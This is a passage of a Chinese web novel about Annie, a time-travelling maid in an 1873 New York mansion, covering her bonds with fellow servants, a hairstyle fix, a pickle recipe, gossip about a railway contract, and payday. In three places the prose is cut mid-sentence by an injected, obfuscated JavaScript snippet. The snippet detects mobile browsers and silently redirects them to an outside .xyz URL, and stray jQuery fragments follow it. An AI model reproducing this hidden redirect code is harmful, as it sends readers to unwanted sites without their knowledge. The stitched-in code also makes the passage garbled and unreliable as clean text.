在这个没有互联网、没有图书馆可随意借阅的时代，她的知识就像被锁在笼中的鸟儿，渴望飞翔却找不到出口。 她想要改变。为这个世界带来一点点改变就好。不是为了伟大的历史进程，只是为了普通人能改善一点点生活。 思绪越飘越远，安妮越发不感觉困倦。 她听到了轻轻的哭声。 那是玛莎极力压抑的、断断续续的啜泣声。安妮犹豫了一下。玛莎平日里对她并不友善，时常带着挑剔和疏远。原本想装作听不见，但此刻的哭声太过凄凉，她还是掀开薄谈，坐了起来。 月亮从高窗漏进微弱的光，勾勒出玛莎蜷缩成一团的轮廓，被子随着她的抽泣轻轻颤动。 她摸索着下床，赤脚踩在冰冷的地板上，走到玛莎床边，轻声唤道：「玛莎？」 哭声骤然停止，只剩下急促的、被强行咽回的抽气声。被子下的人影僵住了。 「是我，安妮。」她声音放得更柔，「你做噩梦了？」 被子下的人摇了摇头。过了好一会儿，玛莎才从被子里探出半张脸，泪痕在微弱的光线下发亮。「没……没有……」她声音沙哑，带着浓重的鼻音，「我……我只是……」话未说完，新的眼泪又涌了出来。 安妮在她床边轻轻坐下，没有触碰她，只是安静地陪伴着。冰冷的空气环绕着她们。 「是……是我母亲的忌日，」玛莎终于哽咽着说出口，「我……我好想她。如果她在，我可能就不必……」不必在这里，每日擦洗无尽的地板，忍受呵斥与劳碌。未尽之语淹没在泪水里。 安妮没有立刻说话，只是静静地听着。 过了一会儿，安妮的手无声地探入自己睡衣的口袋，摸出一样东西—— 一块冰凉的、带着她体温的旧怀表。表壳已经很斑驳，但边缘被摩挲得光滑。自从下船后，她再也没有拿出示人。 她的手指轻轻抚过冰冷的金属表面，动作带着一种下意识的珍重。 「我……」安妮的声音很轻，仿佛怕惊扰了这份夜的凉意，「我也很想我的母亲。」 玛莎的抽泣声低了下去，似乎在黑暗中抬起头。 「这块表，」安妮继续说，目光落在怀表上，仿佛能透过它看到遥远的过去，「是她留给我所剩无几的东西。有时候，感觉特别难熬、特别孤单的时候，摸摸它，听听它的声音，就好像…… 她还在某个地方陪着我一样。」她没有提及穿越，没有提及航行的颠簸和恐惧，只分享了那份共通的、失去至亲的思念与依靠。 她轻轻按开表盖，将怀表凑近玛莎。黑暗中，那规律而平稳的「滴答、滴答」声变得异常清晰，像一颗小小的心脏在跳动。 玛莎静静地听着，泪水止住了。一条无声的河流，在两人之间悄然流淌。她们都是离家的女儿，都在陌生的环境里挣扎求存，都依靠着对亲人的记忆获取一丝温暖。 「她……是怎么……」玛莎的声音轻柔了许多，不再是平日的尖刻。 「在我老家。一场饥荒。」安妮简短地说，将怀表合上，小心地收回口袋。真实的安妮来自爱尔兰科克郡，饥荒与疾病是那片土地永恒的阴影。「很多人没能撑过来。」 沉默再次降临。 「我母亲也是欧洲人。」玛莎的声音几乎低不可闻，「她总是说……在美国，我们这样的人得互相照应。」 「即使我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417902|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时会吵架？」安妮轻声问，语气里没有嘲讽。 「你不懂，安妮。」过了一会儿，玛莎再次开口，声音里带着深深的无力，「你那么……不一样。你认识字，懂得多，施耐德先生看重你，女士们好像也……不讨厌你。你迟早会离开这间阁楼。而我们……」她顿了顿，「我们这样的人，好像生来就注定要一辈子擦地板，洗衣服，看人脸色。」 安妮在黑暗中摇了摇头，尽管玛莎可能看不见。「我并不想爬多高，玛莎。我也不想把谁比下去。我只想……活下去。按自己的意愿生活。尽可能地，活得稍微像个人样一点。」 她们沉默地坐在黑暗里，各自沉浸在思绪中。 第二天，繁重的工作依旧。一上午没有什么特别的事情发生。除了玛蒂尔达夫人因为多吃了一些豆子，多放了几个屁，惹得梅布尔太太提心吊胆了一中午。 傍晚，一天的工作快结束的时候，安妮才碰到玛莎。那会儿，她正被派去地下室取柴火。抱着柴火准备返回时，在楼梯口两人对视了一眼，玛莎迅速低下头，但脸上已没有往日的敌意。 回到厨房区域，汤姆厨师正在做最后的清理，嘴里嘟囔着抱怨肉价和鸡蛋又涨价了。看到安妮回来，他叹了口气：「这世道，真是越来越难了。东西死贵，钱却越来越不值钱。」 安妮顺口问了一句：「为什么会这样呢？」 「还不是从欧洲那边闹过来的经济恐慌！」汤姆一边用力擦着灶台一边说，「听说那边好多银行和大公司都垮了，就像传染病一样，现在也传到我们这儿了。好多工厂关门，街上找工作的人越来越多。」 他似乎想到了什么，又舒了一口气，「Y头，你可得珍惜这份工。多少人抢破头都进不来布鲁克公馆。最有权势的那波老爷夫人还不是照样办舞会，跳什么踏步舞。无论怎么样，都影响不到我们第五大道。」 安妮听着汤姆说出的至理名言——舞照跳，马照跑—— 怔愣了一下。在布鲁克家呆久了，她都快忘了外面是什么样子。 1873 年的经济恐慌，她模糊地记得这段历史，一场始于奥地利、席卷欧洲并波及美国的严重经济萧条，导致了大量失业和社会动荡。 「……那些找不到工作的，很多就从欧洲跑过来，觉得美国还有机会，结果呢？」汤姆摇摇头，「机会哪有那么多。唉，咱们能有这份工，有口饭吃，就算不错了。赶紧收拾完去睡吧，我明天四点就得起来准备早餐了。」 / 阁楼里，女仆们一如往常，沉入疲惫的梦乡。 安妮在黑暗中躺下，听着窗外呼啸的风声和身边均匀的呼吸声—— 包括玛莎那边传来的、平稳了许多的呼吸。 她的手指无意识地紧紧攥着口袋里那块冰凉的怀表，感受着它微弱而坚定的「滴答」声。 像是一个微小而坚定的承诺。 明天将会是新的一天。 22. 「你为什么帮我？」 仆从大厅的人都拼命忍住笑。 梅布尔太太刚休完一天的假，从家里回到布鲁克宅邸，顶着她的新发型。 那是一个过分高耸、卷发堆叠得极其繁复的发髻，用大量的发针和某种硬邦邦的发蜡固定，几缕不听话的头发炸出来，像把一只受惊的母鸡直接放到头顶。 露西和玛莎交换了一个眼神，迅速低下头继续削土豆皮，肩膀微微耸动。 「都看什么看？」梅布尔太太厉声喝道，下意识地挺直了脖子，「活都干完了吗？」 「安妮！」梅布尔太太突然转身，吓得露西差点削到手，「你觉得这发型怎么样？」 厨房里瞬间安静下来，只剩下炉子上炖锅咕嘟的声音。所有人都知道这是个陷阱题。 当然不怎么样！糟糕透顶！明明之前已经给你弄了一个适合的低髻，现在又在东施效颦！ 安妮在心里吐槽了一遍，但面上还是恭敬。她放下手中的滤网，谨慎地选择措辞：「很特别，太太。」 「特别？」梅布尔的眼睛眯起来，「特别是好还是不好？」 「显得很庄重，」安妮避重就轻，「不过看起来可能需要很多发蜡才能固定住。」 梅布尔哼了一声，手指又不自觉地碰了碰那个沉重的发髻：「前晚宴会，范德比尔特夫人那个法国女仆居然敢说我的发型过时了……」她咬牙切齿地看着玻璃倒影中那绺顽固的鬈发，「今天我非要让她们看看什么叫体面。」 玛莎忍不住噗嗤一声笑出来，又迅速假装喝水被呛到，剧烈地咳嗽起来。 就在这时，施耐德管家走了进来。他锐利的目光扫过厨房，在梅布尔不同寻常的发型上停留了片刻。 「早安，施耐德先生。」梅布尔立刻挺直腰板，手指不自在地又摸了一下发髻。 「梅布尔太太。」管家点头致意，语气一如既往地平稳，「今天的发型很……别致。」 女管家的脸微微亮起来：「谢谢您，先生。我尝试了一种新的样式——」 「希望不会影响您的工作效率。」施耐德打断她，转向检查食材清单，「玛蒂尔达夫人今天下午要接待范德比尔特夫人，所有事情都必须完美无瑕。」 梅布尔的笑容僵在脸上：「当然，先生。」 整个上午，她都处于一种易燃易爆的状态。午休时，安妮注意到她又一个人躲在女管家房间，对着手镜，徒劳地试图按压那顽固耸立的发髻，眼神里充满了沮丧和焦虑。 安妮犹豫了一下，还是轻轻敲了敲门框。 梅布尔太太吓了一跳，猛地转过身，脸上带着被窥破的恼怒。 「请原谅我多嘴，太太，」安妮语气恭敬，「我看到您似乎为这个发型烦恼。它看起来非常沉重，而且一定扯得头皮很疼吧？我或许知道一种更舒适、也更时髦一点的梳理方法。」 梅布尔太太的眼神先是警惕，然后闪过一丝怀疑，最后那点对“时髦”的渴望占了上风。她哼了一声，但还是默许了。 安妮跟着女管家进入她的小起居室。关上门，女管家的肩膀垮了下来，这一刻她不再是那个严厉的管理者，只是一个被自己的虚荣和焦虑击败的中年女人。 「我只是想看起来体面些。」她喃喃自语，手指无措地梳理着乱成一团的头发，「范德比尔特夫人总是带着那个法国女仆，每次来都打量着我们的打扮……我不能让布鲁克家丢脸……」 安妮静静地打来一盆温水，浸湿一块软布：「如果您允许，太太，也许我可以帮忙整理一下。」 「可是上次你梳的那个太矮了。」梅布尔太太嘟囔着，并未真正拒绝。 「太太，可能在这种场合下，适合你的才是最好的。更何况我们是在美国，哪怕法国佬来了，也要按照美国的方式生活。引领风尚远比追逐风尚更有体面。」安妮哄小孩一般地说，开始小心翼翼地拆解那个坚硬的发髻。 女管家犹豫片刻，终于挫败地点点头，任由安妮操作。 安妮动作轻柔，先用温水和皂角液软化发蜡，按摩了一下她被扯痛的头皮。「其实要做出饱满的发髻，不一定全靠硬邦邦的发蜡，」她轻声说，「可以用一个掺了鲸须的小垫枕藏在里面做支撑，既轻便又能固定形状，还不会扯得头皮疼。」她手指灵活地重新梳理，挽成一个饱满而服帖的低髻。 女管家罕见地沉默了一会儿，忽然问：「你为什么帮我？」 是啊！你对我可一点也不友善。安妮擦拭着手上残留的蜂蜡，谨慎地回答：「我们都是为这个家服务的人，太太。您的体面也是我们的体面。」 真话是，在这个等级森严的宅邸中，与梅布尔保持相对良好的关系对她的生存至关重要。但也不全是算计——在那一刻，她确实对那个为了一绺不听话的头发而濒临崩溃的女人产生了一丝同情。 下午范德比尔特夫人来访时，梅布尔端着茶点走进客厅，头发整齐地挽在脑后，几缕自然的鬈发柔软地框住她的脸型。当那位法国女仆投来审视的目光时，她罕见地没有表现出不安，而是从容地布置茶具。 玛蒂尔达夫人甚至罕见地称赞了一句：「今天的发型很得体，梅布尔太太。」 那一刻，女管家脸上闪过的是真正的、而非矫饰的骄傲。 她还刻意地看了眼法国女仆，然后恭敬地回答，「夫人谬赞了。」 从那天起，梅布尔太太不再折腾那些夸张发型。女仆们私下惊奇地议论，说梅布尔太太像是换了个人。 于是，一股小小的“安妮低髻”风潮悄悄在布鲁克家的女仆中流行开来。露西第一个尝试，玛莎扭捏了几天后也加入了。甚至这股风潮还隐隐约约传到了第五大道上其他一些宅邸，相熟的女仆们见面时会悄悄交流：「你的头发梳得真好看，跟布鲁克家的女仆学的吗？」 梅布尔太太对此心情复杂。一方面，这证明了她引领了风潮，她隐隐将安妮的功劳算在了自己管理有方的头上；另一方面，又有点酸溜溜的。但这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417903|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被模仿的虚荣感最终占了上风。 变化是微妙的。 梅布尔太太没有公开感谢安妮，但她分配给安妮的任务明显合理了许多。 与此同时，一个关于那位阿拉伯王子的惊人消息，也在上流社会的仆役之间悄悄流传开来。 露西神秘兮兮地告诉安妮：「哎，你听说了吗？那个请你跳舞的阿拉伯王子！」 安妮抬起头。 「是个骗子！天大的骗子！」露西兴奋地几乎语无伦次，「听说他送给阿斯特夫人的那个金香炉，根本就不是金的！是镀铜的！重量都不对！阿斯特夫人回赠给他的可是真金白银的古董和宝石胸针呢！」 「还有呢？还有呢？」玛莎也凑过来，忘记了她和安妮之间微妙的竞争关系。 「听说引荐他的那个议员也被骗惨了，担保他参加了好多场高级聚会，结果现在成了全城的笑柄！那些随从和女奴，都是他从其他城市临时雇来的小演员，根本不是什么王室仆从！这些人倒是没跑，因为他们一直以为自己在各个豪门家里演舞台剧呢。问他们阿拉伯王子到底是谁，也是毫不知情。」 「这些人都被抓进去了。可是那位王子，早就跑没影了！」 消息很快得到了多方证实。 玛蒂尔达夫人也懊恼地拿出王子赠送的“金画”，经人一看，不过是一张覆了金箔的廉价纸板，价值恐怕还不如一枚银针。她气得差点晕过去，但很快又强打精神，吩咐施耐德先生处理掉金画，不要让自己再看见。 在与其他夫人喝下午茶时，故作轻松地表示：「我就说嘛，真正有底蕴的贵族，怎会如此轻浮。不过是场无聊的闹剧，幸好我们布鲁克家并未损失什么，只当看了场蹩脚的滑稽戏。」 在场的有几个那晚傻得冒泡的夫人，比如说，看见了黄道十二宫那位，现在正掩面喝茶。玛蒂尔达暗自庆幸，那晚没有像她们一样，说出看见什么伟大图景的鬼话。否则，才是彻底颜面扫地。 对安妮而言，那个夜晚，灯光下带着异域风情、眼神炽热又带着戏谑的王子，依旧萦绕着神秘光环。 偶尔闲暇时，她会想起那个人。 他到底是谁？一个技艺高超的骗子？一个愤世嫉俗的冒险家？他那样大张旗鼓地闯入这个金碧辉煌的世界，用拙劣又大胆的方式戏弄了所有自视甚高的名流显贵，然后挥一挥衣袖，消失得无影无踪。 直到她对1873年那场舞会细节变得模糊，想起他时，安妮总觉得，那个人或许并非仅仅为了钱财。他更像是在用他自己的方式，拿这个时代所有的权贵和有产者当作笑料，将他们的虚荣、轻信和势利眼排演成一出绝佳的喜剧。他把自己也扮作戏台上的一个角色，尽情地演了一场，然后谢幕离场。 这个念头让安妮感到一种奇特的满足感。她摇了摇头，将这些不切实际的想法甩开。无论那人是谁，都与她无关了。 她低下头，继续专注地擦拭着手中那只沉甸甸的瓷碗。 23. 「我们可以互相学习」 舞会季渐渐停歇，第五大道上川流不息的豪华马车减少了。 布鲁克公馆也只剩下零星的小型宴会，用以招待玛蒂尔达夫人圈内最亲近的几位朋友，气氛远比之前轻松私密。连带着，仆役们肩上的压力也骤然一轻，脚步都透出几分松快。 就在这样一个略显闲适的上午，厨房里突然爆出一声脆响和厨师汤姆懊恼的低吼。 他一失手，将一罐浓烈的白醋直接砸在了地上，刺鼻的酸味瞬间炸开，弥漫了整个厨房，熏得人眼睛发酸。连仆从大厅里暂时休息的人也跟着遭殃。 「该死！真是见了鬼了！」汤姆气得直跺脚，看着宝贵的调料洒了一地，心疼不已。旁边一篮子早上刚送来的、鲜嫩欲滴的小黄瓜也被溅出的醋液波及。 安妮临时被安排来剥豆子，被这动静吓了一跳。她看着汤姆手忙脚乱地收拾碎片，又看看那些沾了醋液的黄瓜，立刻起身找来一个干净的陶罐。 「汤姆先生，也许……也许还不算太糟。」她迅速将那半瓶还没洒出去的醋，倒进陶罐里，「反正这些黄瓜沾了醋也放不久了，不如试试用醋腌起来？说不定别有一番风味。」 汤姆皱着眉头，还在心疼他的醋：「腌黄瓜？哪有这么简单，这……」 「就当是废物利用，试试看嘛。」在征得汤姆同意后，她将篮中的黄光，倒入罐中，醋液刚好没过黄瓜，又撒了一小撮盐和糖，最后找了一块干净的磁盘压在上面。「就这样放一两天，也许会有惊喜呢？」 主要是安妮馋那个味儿了。 汤姆嘟囔着「能有什么惊喜」，但看着安妮已经利落地处理好了残局，也不好再说什么，只是挥挥手让她把罐子放到阴凉角落去，转头又去忙活午餐了。 午钟敲响。。 厨房的工作暂告一段落，众人鱼贯进入仆从大厅。长桌上已经摆好了食物：一大锅冒着热气的蔬菜炖肉，几大盘黑面包，还有黄油和简单的腌菜。虽然比不上主人餐桌的精致，但分量实在，能快速补充体力。 在仆役生活中，午餐通常是一天中最重要、最正式的一餐，这是因为仆人们需要清晨早起准备主人的早餐，晚上则要伺候主人的晚餐直至很晚，只有中午主人用餐后的一段相对空闲时间，才能自己坐下来好好吃一顿饭。 就这，已经是外面的人挤破头也想争取的待遇了。 气氛比平时轻松许多。大家一边吃饭，一边低声交谈，交换着各种信息和八卦。 「哎，听说了吗？法拉第家那个车夫，和洗衣房的女工好上了，结果被管家发现，两人都给辞退了！」露西压低声音，分享着刚从送货小哥那里听来的邻家八卦。 「这算什么新闻，」玛莎撇撇嘴，咬了一口面包，「我们这边才精彩呢。知道梅布尔太太今天早上为什么又黑着脸吗？她发现范德比尔特夫人的女仆送来的那批蕾丝边料，以次充好！气得她差点直接找上门去理论，被施耐德先生按住了。」 汤姆厨师喝了一大口炖肉汤，满足地叹口气，也加入了话题：「哼，那些夫人太太们，面上光鲜，底下较劲的地方多着呢。要我说，还不如操心点实在的。肉价又涨了！听说西边牲口闹瘟病，运过来的都少了！」 露西接话：「可不是嘛，市场上什么都贵。我姨妈来纽约找活儿，说，好多厂子关了门，街上找工作的人越来越多了。」 「哼，范里安家的铜器工厂倒是忙得很！」一个帮厨插嘴，「我表哥在里头做工，说天天加班，生产那种亮闪闪的铜家伙，好像是铁路上要用的什么精密玩意儿，要求高得很，做坏一个都要扣钱！」 「忙有什么用？」另一个负责跑腿的男仆哼了一声，「我父亲那边，和范里安先生家采购管事是亲戚。跟我父亲抱怨说好的铜料难找啊，催订单催得急死了，现有的供应商做出来的东西总差那么点意思，达不到新标准，耽误了大工程……」 安妮能听出他口中更多是认识大人物的吹嘘。 她默默地吃着炖菜，手里拿着面包，耳朵却像雷达一样捕捉着。 / 两天后，玛蒂尔达夫人宴请几位邻近的夫人。 餐前，她照例挑剔着菜单，觉得开胃小菜总是那几样，毫无新意。汤姆厨师急得满头汗，突然想起角落里那罐「实验品」。 死马当活马医吧！他心一横，让帮厨将那些腌黄瓜捞出，切成细薄的小片，精心摆盘后忐忑地送了上去。 没想到，片刻之后，施耐德管家亲自来到厨房，脸上带着一丝罕见的舒缓。 「夫人和客人们对那道腌黄瓜赞不绝口。」管家平静地宣布，「酸甜爽脆，非常开胃。夫人问这是哪里来的新方子。」 汤姆厨师愣了一下，立刻看向安妮。安妮微微低下头。 汤姆反应很快，清了清嗓子：「是……是我偶然尝试的，先生。觉得味道特别就……」 施耐德点点头，没多问：「很好。夫人希望以后家宴常备这道小菜。另外，准备几罐，用漂亮的玻璃瓶装好，夫人下次回访的时候，要作为小礼物送给今天到访的几位客人。」 「是，先生！」汤姆立刻应下，脸上放出光来。 管家离开后，汤姆长长舒了口气，用力拍了拍安妮的肩膀：「好姑娘！歪打正着！真是歪打正着！你是我的福星啊！」 安妮点点头，心里却想——在她来的地方，这种快手腌菜几乎人人皆知。 / 另一天，有男仆先起了话题：「那个木材商汤姆又送来了上等木材，明显是想讨好夫人。听说那个汤姆对埃莉诺小姐有意思，真是癞蛤蟆想吃天鹅肉。」 玛莎尖声笑起来：「他连暴发户都算不上哩？还比不上厨师汤姆哩！连餐具都不会正确使用的人，也配追求布鲁克家的小姐？」 在洗衣房，烫熨着主人们的昂贵衣物时，年长的女仆们也会闲聊。 「……范里安先生昨天又来和夫人谈事情了，脸色不太好看。」 「伊迪丝小姐，成了老姑娘也没嫁出去，也不见他们着急。」 「肯定又是铁路上的事呗。听说他们想改进什么刹车系统，需要一种要求极高的配件，现有的供应商都做不好……」 偶尔，在伺候晚宴间隙，安妮也能捕捉到只言片语。 一位大腹便便的绅士举着酒杯说：「……范里安这次可是被掐住了咽喉，没有那批精密铜器，他的新列车就是一堆废铁……」 另一位夫人轻笑：「不是说欧洲那边有家公司能做吗？就是价格贵得吓人，交货期也长。」 这些碎片化的信息，来自不同渠道，不同的人。别人听过了就算了，但安妮不同。她受过移动互联网时代各个社交平台的高强度训练，信息轰炸，懂得如何筛选、整合分析。 厨房、洗衣房、休息室，这些就是她的“互联网”，而这些闲聊，就是最重要的数据流。 她将这些信息在脑中默默归类…… 一个问题：范里安铁路公司急需一种高精度、耐磨的铜制零部件。可能与新刹车系统有关。 当前困境：现有“国产”供应商技术不达标，无法满足要求；欧洲供应商价格高、交货慢；原材料（优质铜料）供应似乎也紧张。 潜在机会：这是一份长期订单，谁能解决这个问题，谁就能获得长期利润。 …… 可惜这个信息，目前对她没有什么帮助。涉及技术和生产的领域，离女仆的世界太远了。 「……不对！」 她想起了一个人——米芙。那个沉默寡言总是面带微笑的黑人女孩，在闲言碎语中，她记得听说过，米芙有一个表哥，是曼哈顿下城一家金属加工厂的老板，产品主要面向黑人产业链，因为市场有限，经营规模并不大。 / 一天傍晚，安妮在走廊“偶遇”米芙。这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417904|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑人女秘书正抱着一叠文件匆匆走过。 「晚上好，弗里曼小姐。」安妮主动打招呼，作出礼貌侧身让路的动作。 米芙停下脚步，敏锐的目光打量着安妮：「我听说你发明的醋渍黄瓜很受欢迎。」 安妮微微惊讶：「只是偶然的发现而已。」 「偶然中的必然，」米芙的语气平静但意味深长，「善于观察和思考的人总能在偶然中发现机会。」她调整了一下手中的文件「你如果是特意在这里等我，我愿意倾听你想说的话。」 两人目光相遇，瞬间明白了一切。 安妮也没有被点破的扭捏，直接说道「我听说范里安先生那里正在寻找高质量的铜器供应商，特别是用于铁路设备的精密零件。也许有些小工厂反而能做得更精细。」 她注意到米芙的动作慢了下来。 「精密铜器？」米芙轻声重复了一句。 「是啊，现有的供应商都达不到要求，范里安先生那边着急上火。要是谁能做出来，可就有源源不断的订单了。」 她说完，便不再多言。 「安妮。我觉得你很怪。」 安妮一愣，等着对方说下去。 「在我们还不熟悉的时候，你就已经帮我，现在是两次了。」 安妮脸颊发烫，「对不起，如果这让你不舒服。就当我什么也没说过。」 「不！不！我要谢谢你，上回我就应该感谢你。只是一直没有找到机会。如果不是在这个宅邸，不是因为我们的身份，或许我们可以成为朋友。」 「请原谅我的冒昧，弗里曼小姐。你认为朋友和职业，身份有关吗？」 「不！不！我不是这个意思！」米芙从来没有说过这么多次不，「请叫我米芙，安妮。」 / 几天后，米芙主动找到了安妮。 她的表情依旧有一丝尴尬，但眼神里多了一丝不一样的光彩。 「安妮，」她低声说，「我表哥……他和他工厂的老师傅们，最擅长的就是加工各种精细的铜件。他们以前给钟表厂和科学仪器作坊做过零件，精度很高。」 「是吗？那很厉害啊。」 「他们……他们或许可以试试范里安家的那个订单。」米芙的声音更低了，「但是，他们不知道怎么接触范里安公司的人，也不知道具体的要求和图纸……」 「图纸和要求……」安妮沉吟了一下，「这确实是个问题。或许……可以想办法打听一下负责采购的管事常去哪里？或者，想办法递一份已有样品和你们的能力说明过去？总要试一试才知道行不行。」 她没有大包大揽，只是提供了思路，还把某个男仆认识采购管事的事告诉了米芙。具体的操作，需要米芙的表哥他们自己去努力。 安妮并不打算深度参与，只是想观察—— 米芙深深看了安妮一眼。 「安妮，」她非常认真地问，「你为什么帮助我呢？跟我分享这些信息。」 「我觉得信息就像种子，捂在自己手里会烂掉，撒出去，说不定能在别人那里开出花来。」 「知道什么信息有价值，以及该传递给谁，这是一种才能。」米芙由衷赞叹。「这些消息……你是怎么知道的？我是说，你为什么关注这些？」 安妮笑了笑：「耳朵灵一点，总能听到些东西。」 米芙犹豫了一下，流露出真诚的好奇，「你是怎么做到的？就只是靠听？」 安妮看着她的眼睛，明白她想要的不是敷衍，而是真正的答案。她顿了顿，「在我的家乡，人们说信息就像拼图。单独一片看不出什么，但收集多了就能看出全貌。」 米芙若有所思：「拼图……很形象的比喻。我能向你学习这种方法吗？如果你不愿意……我是说，我们可以交换……」 「当然，」安妮打断她窘迫地解释，「我们可以互相学习。」 24. 发薪日 今天的气氛不同于往常。 空气中飘着刚烤好的面包香气，却无人像平日那样说笑争抢，所有人的心思都飘向了同一个地方。 「所有人，整理仪容。五分钟后，仆役大厅集合。」施耐德管家出现在门口，声音不高，却让所有交谈声瞬间停止。 女仆们下意识地抚平围裙，男仆们站直了身体。 发薪日到了。 这是安妮来到布鲁克家三个月来的第一次发薪。她跟着其他仆从，安静地走向仆役大厅。大家自觉地按照某种无形的等级顺序站好：资历最深的老仆和职位稍高的靠近前面，像安妮这样的新人和杂役则排在后面。 施耐德管家已经在大家惯常吃饭的长桌后坐定，账本摊开在他面前。一盏煤油灯在他侧后方投下明亮的光圈，将他的身影和桌上的物件烘托得异常庄严。桌上放着一打小巧的、印有布鲁克家族徽记的信封，旁边还有一个锁着的小钱箱。 所有一切，庄重得仿佛在进行某种弥撒。 安妮并不比他人兴奋。她心中有种奇异的疏离感，仿佛在旁观一个与自己无关的仪式。 「按照顺序，上前领取。」施耐德管家推了推眼镜，目光扫过名单，「汤姆。」 汤姆身材胖大，站在施耐德先生面前。他粗壮的手指有些不自在地搓了搓围裙边缘。后面的人看不到他们具体的交谈。施耐德先生也没有报出他所领取的薪酬。 只是从汤姆签完字，嘴角难以抑制地微微上扬看来，信封里面的金额显然让他满意。 「海伦。」施耐德先生报出下一个名字。 负责洗衣的老女仆上前一步，微微屈膝。管家从钱箱里数出几张崭新的绿色纸币和几枚闪亮的银币，放入一个信封，递给她。「这是你本月的薪金，在这里按手印。」他指着账本上对应她名字的一栏。 海伦接过信封，看也没看就熟练地蘸了印泥，在账本上按下自己的指印，低声说「谢谢先生」，便退到一旁。 接下来是几个主要的男仆和女仆……每个人都安静地上前，签字或按手印，接过信封，然后默默退开。只有纸币的沙沙声和硬币的轻碰声偶尔打破这份严肃。 轮到玛莎时，施耐德管家的笔尖在账本上停顿了一下。 「玛莎，」他的声音没有起伏，「本月薪金扣除三美元，赔偿上周损坏的塞夫尔瓷花盆。这是夫人的决定。有异议吗？」 玛莎的脸瞬间白了，眼里闪过一丝委屈，但最终只是低下头，声音细若蚊蚋：「没有异议，先生。」她接过那个明显薄了不少的信封，低着头快步走回人群。 队伍后面站着一个小个子男孩，是舞会期间临时来帮忙、后来被留下做些跑腿杂活的吉米。他不安地踮着脚尖往前看，轮到他时，他怯生生地开口：「施耐德先生。我……我能不能……预支一点下周的工钱？就一点！我想给我妈买件厚点的冬衣，天气越来越冷了……」 施耐德管家皱起了眉头：「预支？吉米，规矩是发薪日结算，你是帮工，我只能给你结当周的。」 吉米的小脸垮了下来，眼睛瞬间就红了，不敢再说什么。 这时，已领完薪金站在一旁的汤姆厨师粗声粗气地插话了：「先生，这孩子挺老实的，干活也卖力。他妈一个人带他，不容易。要不就破例一回？」他说着，从自己刚拿到还揣在兜里的薪金袋里，摸出几枚闪亮的25美分硬币，塞给吉米，「喏，先拿着，小子。预支的事，听先生的。」 吉米愣住了，看着硬币上的自由女神像，眼圈更红了。 施耐德管家沉默地看了汤姆一眼，又看了看快要哭出来的吉米，最终从钱箱里数出很少的一点零钱，主要是些5分和1角的硬币，推过去：「下不为例。在这里签字。」 吉米几乎要跳起来，连声道谢，歪歪扭扭地签下名字，抓起钱宝贝似的塞进怀里，还不忘用细小的声音对汤姆说了句：「谢谢您，汤姆先生。」 汤姆不甚在意地挥挥手，转身走开了，略显急促的脚步透露出他并不习惯这种感谢的场面。 「安妮。」 终于轮到安妮了，她小步上前，心里却有点茫然，自己能凭借这点钱做什么呢。 施耐德管家对她颇为和蔼，「这三个月的表现不错，恭喜你被正式录用。这是你三个月的薪金。」 「谢谢玛蒂尔达夫人，谢谢伊迪丝小姐……谢谢施耐德先生，谢谢梅布尔太太。」安妮心中还在盘算着薪金对自己的意义，嘴上已经一口气报完重要人物的名字。可能是以前看多了电影颁奖礼，懂得即便时间倒了，也要感谢完所有人。 在场的所有人都一怔，惊讶地看着这个平时少言的女仆。 「夫人仁慈，从去年起已将发薪惯例从一季一次改为每月一次，你之后便可和所有人一样按月领取。这是你的幸运……很多人一拿到钱就挥霍一空，月末便陷入困顿。谨慎支配，勿要浪费。」他的语气带着一种长者式的告诫。施耐德一边说，一边数出相对厚实的一叠纸币和银币，装入印有徽章的信封，递给她。 布鲁克家原是遵从英国老家的惯例，按一年四次的季度发薪。但玛蒂尔达夫人去年心血来潮，想在第五大道率先作出变革和表率，亲自定下新规矩，按每月一次发薪。对安妮这样刚来三个月的新人而言，这无疑是种幸运，意味着她之后不必苦苦等待一个季度才能拿到第一笔像样的报酬。 这时候的很多人，都没有理财观念。很多仆从，往往季度薪资刚发放，钱就挥霍一空，后面两个月处境艰难。所以施耐德先生的提醒可以说是非常体贴了。 「谢谢先生，我记住了。」安妮接过那个沉甸甸的信封，指尖能感受到纸币和硬币的质感。她在账本上签下“安妮”的名字，心情有些复杂。这是她在这个时代获得的第一笔真正意义上的收入。 / 在楼上书房，气氛则完全不同。 玛蒂尔达夫人坐在书桌后，从一个小巧的螺钿匣子里取出一个厚实的信封，递给站在对面的米芙。 一旁还站着显然刚刚领取完薪资的梅布尔太太，严肃地打量着那信封的厚度。 「米芙，这是你这个月的薪水。你最近的工作我很满意，信件整理得井井有条，速记也很准确。」玛蒂尔达夫人语气温和，带着一丝赞赏，「继续保持。」 